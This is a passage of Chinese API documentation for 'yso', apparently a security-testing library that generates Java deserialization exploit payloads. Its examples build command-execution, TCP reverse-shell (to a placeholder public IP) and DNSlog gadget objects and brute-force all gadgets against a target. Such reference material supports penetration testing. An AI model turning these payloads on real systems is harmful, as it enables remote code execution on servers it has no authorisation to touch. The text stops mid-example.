Skip to main content

yso

函数名函数描述/介绍
yso.GenerateClass
yso.GenerateClassObjectFromBytesGenerateClassObjectFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。 LoadClassFromBytes、LoadClassFromBase64、LoadClassFromBCEL等函数都是基于这个函数实现的。 参数是...
yso.GenerateDNSlogEvilClassObjectGenDnslogClassObject GenerateDnslogEvilClassObject 生成一个使用Dnslog类模板的javaclassparser.ClassObject对象, 并设置一个指定的 Dnslog 域名。这个函数结合使用 useDNSlogTemplate 和 dn...
yso.GenerateHeaderEchoClassObjectGenHeaderEchoClassObject GenerateHeaderEchoClassObject 生成一个使用HeaderEcho类模板的javaclassparser.ClassObject对象, options:一组可选的GenClassOptionFun函数,用于进一步定制生成...
yso.GenerateModifyTomcatMaxHeaderSizeEvilClassObjectGenerateModifyTomcatMaxHeaderSizeEvilClassObject 生成一个使用ModifyTomcatMaxHeaderSize类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useModifyTomcatMaxHeaderS...
yso.GenerateMultiEchoClassObjectGenMultiEchoClassObject GenerateMultiEchoEvilClassObject 生成一个使用 MultiEcho 类模板的javaclassparser.ClassObject对象,主要用于 Tomcat/Weblogic 回显, options:一组可选的Ge...
yso.GenerateProcessBuilderExecEvilClassObjectGenerateProcessBuilderExecEvilClassObject 生成一个使用ProcessBuilderExec类模板的javaclassparser.ClassObject对象, 并设置一个指定的命令来执行。这个函数结合使用SetClassProcessBuilderExec...
yso.GenerateProcessImplExecEvilClassObjectGenerateProcessImplExecEvilClassObject 生成一个使用ProcessImplExec类模板的javaclassparser.ClassObject对象, 并设置一个指定的命令来执行。这个函数结合使用SetClassProcessImplExecTemplate和...
yso.GenerateRuntimeExecEvilClassObjectGenerateRuntimeExecEvilClassObject 生成一个使用RuntimeExec类模板的javaclassparser.ClassObject对象, 并设置一个指定的命令来执行。这个函数结合使用SetClassRuntimeExecTemplate和SetExecComma...
yso.GenerateSleepClassObjectGenSleepClassObject GenerateSleepClassObject 生成一个使用Sleep类模板的javaclassparser.ClassObject对象 options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。 返回:成功时...
yso.GenerateSpringEchoEvilClassObjectGenerateSpringEchoEvilClassObject 生成一个使用SpringEcho类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useSpringEchoTemplate 和 springParam 函数, 以生成在反序列化时会回显指定内...
yso.GenerateTcpReverseEvilClassObjectGenTcpReverseClassObject GenerateTcpReverseEvilClassObject 生成一个使用TcpReverse类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useTcpReverseTemplate ,tcpRev...
yso.GenerateTcpReverseShellEvilClassObjectGenTcpReverseShellClassObject GenerateTcpReverseShellEvilClassObject 生成一个使用TcpReverseShell类模板的javaclassparser.ClassObject对象, 这个函数结合使用 useTcpReverseS...
yso.GenerateTomcatEchoClassObjectGenTomcatEchoClassObject GenerateTomcatEchoEvilClassObject 生成一个使用TomcatEcho类模板的javaclassparser.ClassObject对象, options:一组可选的GenClassOptionFun函数,用于进一步...
yso.GetAllGadget
yso.GetAllRuntimeExecGadgetGetAllRuntimeExecGadget 获取所有的支持的RuntimeExecGadget,可用于爆破 gadget
yso.GetAllTemplatesGadgetGetAllTemplatesGadget 获取所有支持模板的Gadget,可用于爆破 gadget
yso.GetBeanShell1JavaObjectGetBeanShell1JavaObject 基于BeanShell1 序列化模板生成并返回一个Java对象。 它首先解析预定义的BeanShell1序列化模板,然后在解析出的第一个Java对象中替换预设的占位符为传入的命令字符串。 cmd:要传入Java对象的命令字符串。 返回:成功时返回...
yso.GetClick1JavaObjectGetClick1JavaObject 基于Click1 序列化模板生成并返回一个Java对象。 用户可以通过可变参数options提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数允许用户定制生成的Java对象的特定属性或行为。 options:用于...
yso.GetCommonsBeanutils183NOCCJavaObjectGetCommonsBeanutils183NOCCJavaObject 基于Commons Beanutils 1.8.3 序列化模板生成并返回一个Java对象。 去除了对 commons-collections:3.1 的依赖。 通过可变参数options,用户可以提供额外的配置,这些配...
yso.GetCommonsBeanutils192NOCCJavaObjectGetCommonsBeanutils192NOCCJavaObject 基于Commons Beanutils 1.9.2 序列化模板生成并返回一个Java对象。 去除了对 commons-collections:3.1 的依赖。 通过可变参数options,用户可以提供额外的配置,这些配...
yso.GetCommonsBeanutils1JavaObjectGetCommonsBeanutils1JavaObject 基于Commons Beanutils 1 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的J...
yso.GetCommonsCollections1JavaObjectGetCommonsCollections1JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返...
yso.GetCommonsCollections2JavaObjectGetCommonsCollections2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够...
yso.GetCommonsCollections3JavaObjectGetCommonsCollections3JavaObject 基于Commons Collections 3.1 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够...
yso.GetCommonsCollections4JavaObjectGetCommonsCollections4JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够...
yso.GetCommonsCollections5JavaObjectGetCommonsCollections5JavaObject 基于Commons Collections 2 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生...
yso.GetCommonsCollections6JavaObjectGetCommonsCollections6JavaObject 基于Commons Collections 6 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生...
yso.GetCommonsCollections7JavaObjectGetCommonsCollections7JavaObject 基于Commons Collections 7 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生...
yso.GetCommonsCollections8JavaObjectGetCommonsCollections8JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够...
yso.GetCommonsCollectionsK1JavaObjectGetCommonsCollectionsK1JavaObject 基于Commons Collections <=3.2.1 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这...
yso.GetCommonsCollectionsK2JavaObjectGetCommonsCollectionsK2JavaObject 基于Commons Collections 4.0 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能...
yso.GetCommonsCollectionsK3JavaObjectGetCommonsCollectionsK3JavaObject 基于Commons Collections K3 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返...
yso.GetCommonsCollectionsK4JavaObjectGetCommonsCollectionsK4JavaObject 基于Commons Collections K4 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返...
yso.GetFindGadgetByDNSJavaObjectGetFindGadgetByDNSJavaObject 通过 DNSLOG 探测 CLass Name,进而探测 Gadget。 使用预定义的FindGadgetByDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。 url:要在生成的Java对象中设置的URL字...
yso.GetGadgetGenerateGadget this is a highly flexible function that can generate a Java object by three different ways: 1. Generate a Java object that have no an...
yso.GetGadgetNameByFun
yso.GetGroovy1JavaObjectGetGroovy1JavaObject 基于Groovy1 序列化模板生成并返回一个Java对象。 这个函数接受一个命令字符串作为参数,并将该命令设置在生成的Java对象中。 cmd:要设置在Java对象中的命令字符串。 返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应...
yso.GetJBossInterceptors1JavaObjectGetJBossInterceptors1JavaObject 基于JBossInterceptors1 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的J...
yso.GetJSON1JavaObjectGetJSON1JavaObject 基于JSON1 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 options:用于...
yso.GetJavaObjectFromBytesGetJavaObjectFromBytes 从字节数组中解析并返回第一个Java对象。 此函数使用ParseJavaSerialized方法来解析提供的字节序列, 并期望至少能够解析出一个有效的Java对象。如果解析失败或者结果为空, 函数将返回错误。如果解析成功,它将返回解析出的第一个Ja...
yso.GetJavassistWeld1JavaObjectGetJavassistWeld1JavaObject 基于JavassistWeld1 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定...
yso.GetJdk7u21JavaObjectGetJdk7u21JavaObject 基于Jdk7u21 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 option...
yso.GetJdk8u20JavaObjectGetJdk8u20JavaObject 基于Jdk8u20 序列化模板生成并返回一个Java对象。 通过可变参数options,用户可以提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。 这些函数使用户能够定制生成的Java对象的特定属性或行为。 option...
yso.GetSimplePrincipalCollectionJavaObjectGetSimplePrincipalCollectionJavaObject 基于SimplePrincipalCollection 序列化模板生成并返回一个Java对象。 主要用于 Shiro 漏洞检测时判断 rememberMe cookie 的个数。 使用一个空的 SimplePrinci...
yso.GetURLDNSJavaObjectGetURLDNSJavaObject 利用Java URL类的特性,生成一个在反序列化时会尝试对提供的URL执行DNS查询的Java对象。 这个函数首先使用预定义的URLDNS序列化模板,然后在序列化对象中替换预设的URL占位符为提供的URL字符串。 url:要在生成的Java对象中设置的UR...
yso.LoadClassFromBCELLoadClassFromBCEL 将BCEL(Byte Code Engineering Library)格式的Java类数据转换为字节数组, 并从这些字节中加载并返回一个javaclassparser.ClassObject对象。 这个函数首先使用javaclassparser.Bcel2b...
yso.LoadClassFromBase64LoadClassFromBase64 从base64编码的字符串中加载并返回一个javaclassparser.ClassObject对象。 这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options来配置生成的类对象。 这些参数是Ge...
yso.LoadClassFromBytesLoadClassFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。 这个函数使用GenerateClassObjectFromBytes作为其实现,并允许通过可变参数options来配置生成的类对象。 这些参数是GenClassOpt...
yso.ToBcel
yso.ToBytesToBytes 将 Java 或反序列化对象转换为字节码
yso.ToJsonToJson 将 Java 或反序列化对象转换为 json 字符串
yso.commandSetExecCommand command 请求参数选项函数,用于设置要执行的命令。需要配合 useRuntimeExecTemplate 使用。
yso.dirtyDataLength
yso.dnslogDomainSetDnslog dnslogDomain 请求参数选项函数,设置指定的 Dnslog 域名,需要配合 useDnslogTemplate 使用。 addr:要设置的 Dnslog 域名。
yso.dumpdump 将Java 对象转换为类 Java 代码
yso.evilClassNameSetClassName evilClassName 请求参数选项函数,用于设置生成的类名。 className:要设置的类名。
yso.majorVersion
yso.obfuscationClassConstantPool
yso.springEchoBody
yso.springHeaderSetHeader springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。 需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1....
yso.springParamSetParam springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。 param:要设置的请求参数。
yso.springRuntimeExecAction
yso.tcpReverseHostSetTcpReverseHost tcpReverseHost 请求参数选项函数,设置指定的 tcpReverseHost 域名,需要配合 useTcpReverseTemplate ,tcpReversePort 使用。 还需要配合 tcpReverseToken 使用,用于是否反连成功的标...
yso.tcpReversePortSetTcpReversePort tcpReversePort 请求参数选项函数,设置指定的 tcpReversePort 域名,需要配合 useTcpReverseTemplate ,tcpReverseHost 使用。 还需要配合 tcpReverseToken 使用,用于是否反连成功的标...
yso.tcpReverseTokenSetTcpReverseToken tcpReverseToken 请求参数选项函数,设置指定的 token 用于是否反连成功的标志,需要配合 useTcpReverseTemplate ,tcpReverseHost ,tcpReversePort 使用。 token:要设置的 token ...
yso.threeBytesCharString
yso.twoBytesCharString
yso.useBase64BytesClassSetClassBase64Bytes useBase64BytesClass 请求参数选项函数,传入base64编码的字节码。 base64:base64编码的字节码。
yso.useBytesClassSetClassBytes useBytesClass 请求参数选项函数,传入字节码。 data:字节码。
yso.useBytesEvilClassSetBytesEvilClass useBytesEvilClass 请求参数选项函数,传入自定义的字节码。 data:自定义的字节码。
yso.useClassMultiEchoTemplate
yso.useClassParam
yso.useConstructorExecutor
yso.useDNSLogEvilClassSetDnslogEvilClass useDnslogEvilClass 请求参数选项函数,设置生成Dnslog类的模板,同时设置指定的 Dnslog 域名。 addr:要设置的 Dnslog 域名。
yso.useDNSlogTemplate
yso.useEchoBody
yso.useHeaderEchoEvilClass
yso.useHeaderEchoTemplate
yso.useHeaderParamSetHeader springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。 需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1....
yso.useModifyTomcatMaxHeaderSizeTemplate
yso.useMultiEchoEvilClass
yso.useParamSetParam springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。 param:要设置的请求参数。
yso.useProcessBuilderExecEvilClassSetProcessBuilderExecEvilClass useProcessBuilderExecEvilClass 请求参数选项函数,设置生成ProcessBuilderExec类的模板,同时设置要执行的命令。 cmd:要执行的命令字符串。
yso.useProcessBuilderExecTemplate
yso.useProcessImplExecEvilClassSetProcessImplExecEvilClass useProcessImplExecEvilClass 请求参数选项函数,设置生成ProcessImplExec类的模板,同时设置要执行的命令。 cmd:要执行的命令字符串。
yso.useProcessImplExecTemplate
yso.useRuntimeExecEvilClassSetRuntimeExecEvilClass useRuntimeExecEvilClass 请求参数选项函数,设置生成RuntimeExec类的模板,同时设置要执行的命令。 cmd:要执行的命令字符串。
yso.useRuntimeExecTemplate
yso.useSleepEvilClass
yso.useSleepTemplate
yso.useSleepTimeSetSleepTime useSleepTime 请求参数选项函数,设置指定的 sleep 时长,需要配合 useSleepTemplate 使用,主要用与指定 sleep 时长,用于延时检测gadget。
yso.useSpringEchoTemplate
yso.useTcpReverseEvilClassSetTcpReverseEvilClass useTcpReverseEvilClass 请求参数选项函数,设置生成TcpReverse类的模板,同时设置指定的 tcpReverseHost ,tcpReversePort。 相当于 useTcpReverseTemplate ,tcpReve...
yso.useTcpReverseShellEvilClassSetTcpReverseShellEvilClass useTcpReverseShellEvilClass 请求参数选项函数,设置生成TcpReverseShell类的模板,同时设置指定的 tcpReverseShellHost ,tcpReverseShellPort。 相当于 useTc...
yso.useTcpReverseShellTemplate
yso.useTcpReverseTemplate
yso.useTemplate
yso.useTomcatEchoEvilClass
yso.useTomcatEchoTemplate

函数定义#

GenerateClass#

详细描述#

定义#

GenerateClass(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateClassObjectFromBytes#

详细描述#

GenerateClassObjectFromBytes 从字节数组中加载并返回一个javaclassparser.ClassObject对象。

LoadClassFromBytes、LoadClassFromBase64、LoadClassFromBCEL等函数都是基于这个函数实现的。

参数是GenClassOptionFun类型的函数,用于定制类对象的特定属性或行为。

bytes:要从中加载类对象的字节数组。

options:用于配置类对象的可变参数函数列表。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

bytesCode,_ =codec.DecodeBase64("yv66vg...")classObject, _ := yso.LoadClassFromBytes(bytesCode) // 从字节中加载并配置类对象

定义#

GenerateClassObjectFromBytes(bytes []byte, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
bytes[]byte
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateDNSlogEvilClassObject#

详细描述#

GenDnslogClassObject

GenerateDnslogEvilClassObject 生成一个使用Dnslog类模板的javaclassparser.ClassObject对象,

并设置一个指定的 Dnslog 域名。这个函数结合使用 useDNSlogTemplate 和 dnslogDomain 函数,

以生成在反序列化时会向指定的 Dnslog 域名发送请求的Java对象。

domain:要在生成的Java对象中请求的 Dnslog 域名。

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

domain := "dnslog.com" // 假设的 Dnslog 域名classObject, err := yso.GenerateDnslogEvilClassObject(domain, additionalOptions...) // 生成并配置Dnslog Java对象

定义#

GenerateDNSlogEvilClassObject(domain string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
domainstring
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateHeaderEchoClassObject#

详细描述#

GenHeaderEchoClassObject

GenerateHeaderEchoClassObject 生成一个使用HeaderEcho类模板的javaclassparser.ClassObject对象,

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

headerClassObj,_ = yso.GenerateHeaderEchoClassObject(yso.useHeaderParam("Echo","Header Echo Check"))

定义#

GenerateHeaderEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateModifyTomcatMaxHeaderSizeEvilClassObject#

详细描述#

GenerateModifyTomcatMaxHeaderSizeEvilClassObject 生成一个使用ModifyTomcatMaxHeaderSize类模板的javaclassparser.ClassObject对象,

这个函数结合使用 useModifyTomcatMaxHeaderSizeTemplate 函数, 以生成在反序列化时会修改 tomcat 的 MaxHeaderSize 值的Java对象。

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

classObject, err := yso.GenerateModifyTomcatMaxHeaderSizeEvilClassObject() // 生成并配置ModifyTomcatMaxHeaderSize Java对象

定义#

GenerateModifyTomcatMaxHeaderSizeEvilClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateMultiEchoClassObject#

详细描述#

GenMultiEchoClassObject

GenerateMultiEchoEvilClassObject 生成一个使用 MultiEcho 类模板的javaclassparser.ClassObject对象,主要用于 Tomcat/Weblogic 回显,

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

body 回显bodyClassObj,_ = yso.GenerateMultiEchoEvilClassObject(yso.useEchoBody(),yso.useParam("Body Echo Check"))header 回显headerClassObj,_ = yso.GenerateMultiEchoEvilClassObject(yso.useHeaderParam("Echo","Header Echo Check"))

定义#

GenerateMultiEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateProcessBuilderExecEvilClassObject#

详细描述#

GenerateProcessBuilderExecEvilClassObject 生成一个使用ProcessBuilderExec类模板的javaclassparser.ClassObject对象,

并设置一个指定的命令来执行。这个函数结合使用SetClassProcessBuilderExecTemplate和SetExecCommand函数,

以生成在反序列化时会执行特定命令的Java对象。

cmd:要在生成的Java对象中执行的命令字符串。

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串classObject, err := yso.GenerateProcessBuilderExecEvilClassObject(command, additionalOptions...) // 生成并配置ProcessBuilderExec Java对象

定义#

GenerateProcessBuilderExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
cmdstring
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateProcessImplExecEvilClassObject#

详细描述#

GenerateProcessImplExecEvilClassObject 生成一个使用ProcessImplExec类模板的javaclassparser.ClassObject对象,

并设置一个指定的命令来执行。这个函数结合使用SetClassProcessImplExecTemplate和SetExecCommand函数,

以生成在反序列化时会执行特定命令的Java对象。

cmd:要在生成的Java对象中执行的命令字符串。

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串classObject, err := yso.GenerateProcessImplExecEvilClassObject(command, additionalOptions...) // 生成并配置ProcessImplExec Java对象

定义#

GenerateProcessImplExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
cmdstring
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateRuntimeExecEvilClassObject#

详细描述#

GenerateRuntimeExecEvilClassObject 生成一个使用RuntimeExec类模板的javaclassparser.ClassObject对象,

并设置一个指定的命令来执行。这个函数结合使用SetClassRuntimeExecTemplate和SetExecCommand函数,

以生成在反序列化时会执行特定命令的Java对象。

cmd:要在生成的Java对象中执行的命令字符串。

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串classObject, err := yso.GenerateRuntimeExecEvilClassObject(command, additionalOptions...) // 生成并配置RuntimeExec Java对象

定义#

GenerateRuntimeExecEvilClassObject(cmd string, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
cmdstring
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateSleepClassObject#

详细描述#

GenSleepClassObject

GenerateSleepClassObject 生成一个使用Sleep类模板的javaclassparser.ClassObject对象

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

yso.GenerateSleepClassObject(yso.useSleepTime(5))

定义#

GenerateSleepClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateSpringEchoEvilClassObject#

详细描述#

GenerateSpringEchoEvilClassObject 生成一个使用SpringEcho类模板的javaclassparser.ClassObject对象,

这个函数结合使用 useSpringEchoTemplate 和 springParam 函数, 以生成在反序列化时会回显指定内容的Java对象。

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

classObject, err := yso.GenerateSpringEchoEvilClassObject(yso.springHeader("Echo","Echo Check")) // 生成并配置SpringEcho Java对象

定义#

GenerateSpringEchoEvilClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateTcpReverseEvilClassObject#

详细描述#

GenTcpReverseClassObject

GenerateTcpReverseEvilClassObject 生成一个使用TcpReverse类模板的javaclassparser.ClassObject对象,

这个函数结合使用 useTcpReverseTemplate ,tcpReverseHost ,tcpReversePort 函数, 以生成在反序列化时会反连指定的 tcpReverseHost ,tcpReversePort 的Java对象。

host:要设置的 tcpReverseHost 的host。

port:要设置的 tcpReversePort 的port。

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

host = "公网IP"token = uuid()classObject, err := yso.GenerateTcpReverseEvilClassObject(host,8080,yso.tcpReverseToken(token),additionalOptions...) // 生成并配置TcpReverse Java对象

定义#

GenerateTcpReverseEvilClassObject(host string, port int, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
hoststring
portint
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateTcpReverseShellEvilClassObject#

详细描述#

GenTcpReverseShellClassObject

GenerateTcpReverseShellEvilClassObject 生成一个使用TcpReverseShell类模板的javaclassparser.ClassObject对象,

这个函数结合使用 useTcpReverseShellTemplate ,tcpReverseShellHost ,tcpReverseShellPort 函数, 以生成在反序列化时会反连指定的 tcpReverseShellHost ,tcpReverseShellPort 的Java对象。

host:要设置的 tcpReverseShellHost 的host。

port:要设置的 tcpReverseShellPort 的port。

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

host = "公网IP"classObject, err := yso.GenerateTcpReverseShellEvilClassObject(host,8080,additionalOptions...) // 生成并配置TcpReverseShell Java对象

定义#

GenerateTcpReverseShellEvilClassObject(host string, port int, options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
hoststring
portint
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GenerateTomcatEchoClassObject#

详细描述#

GenTomcatEchoClassObject

GenerateTomcatEchoEvilClassObject 生成一个使用TomcatEcho类模板的javaclassparser.ClassObject对象,

options:一组可选的GenClassOptionFun函数,用于进一步定制生成的Java对象。

返回:成功时返回javaclassparser.ClassObject对象及nil错误,失败时返回nil及相应错误。

Example:

body 回显bodyClassObj,_ = yso.GenerateTomcatEchoEvilClassObject(yso.useEchoBody(),yso.useParam("Body Echo Check"))header 回显headerClassObj,_ = yso.GenerateTomcatEchoEvilClassObject(yso.useHeaderParam("Echo","Header Echo Check"))

定义#

GenerateTomcatEchoClassObject(options ...GenClassOptionFun) (*javaclassparser.ClassObject, error)

参数#

参数名参数类型参数解释
options...GenClassOptionFun

返回值#

返回值(顺序)返回值类型返回值解释
r1*javaclassparser.ClassObject
r2error

GetAllGadget#

详细描述#

定义#

GetAllGadget() []any

返回值#

返回值(顺序)返回值类型返回值解释
r1[]any

GetAllRuntimeExecGadget#

详细描述#

GetAllRuntimeExecGadget 获取所有的支持的RuntimeExecGadget,可用于爆破 gadget

Example:


    command := "whoami" // 假设的命令字符串    for _, gadget := range yso.GetAllRuntimeExecGadget() {        javaObj, err := gadget(command)        if javaObj == nil || err != nil {            continue        }        objBytes, err := yso.ToBytes(javaObj)        if err != nil {            continue        }        // 发送 objBytes    }

定义#

GetAllRuntimeExecGadget() []RuntimeExecGadget

返回值#

返回值(顺序)返回值类型返回值解释
r1[]RuntimeExecGadget

GetAllTemplatesGadget#

详细描述#

GetAllTemplatesGadget 获取所有支持模板的Gadget,可用于爆破 gadget

Example:


    for _, gadget := range yso.GetAllTemplatesGadget() {        domain := "xxx.dnslog" // dnslog 地址        javaObj, err := gadget(yso.useDNSLogEvilClass(domain))        if javaObj == nil || err != nil {            continue        }        objBytes, err := yso.ToBytes(javaObj)        if err != nil {            continue        }        // 发送 objBytes    }

定义#

GetAllTemplatesGadget() []TemplatesGadget

返回值#

返回值(顺序)返回值类型返回值解释
r1[]TemplatesGadget

GetBeanShell1JavaObject#

详细描述#

GetBeanShell1JavaObject 基于BeanShell1 序列化模板生成并返回一个Java对象。

它首先解析预定义的BeanShell1序列化模板,然后在解析出的第一个Java对象中替换预设的占位符为传入的命令字符串。

cmd:要传入Java对象的命令字符串。

返回:成功时返回修改后的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command := "ls" // 假设的命令字符串javaObject, err := yso.GetBeanShell1JavaObject(command)gadgetBytes,_ = yso.ToBytes(javaObject)hexPayload = codec.EncodeToHex(gadgetBytes)println(hexPayload)

定义#

GetBeanShell1JavaObject(cmd string) (*JavaObject, error)

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1*JavaObject
r2error

GetClick1JavaObject#

详细描述#

GetClick1JavaObject 基于Click1 序列化模板生成并返回一个Java对象。

用户可以通过可变参数options提供额外的配置,这些配置使用GenClassOptionFun类型的函数指定。

这些函数允许用户定制生成的Java对象的特定属性或行为。

options:用于配置Java对象的可变参数函数列表。

返回:成功时返回生成的Java对象及nil错误,失败时返回nil及相应错误。

Example:

command = "whoami"className = "KEsBXTRS"gadgetObj,err = yso.GetClick1JavaObject(
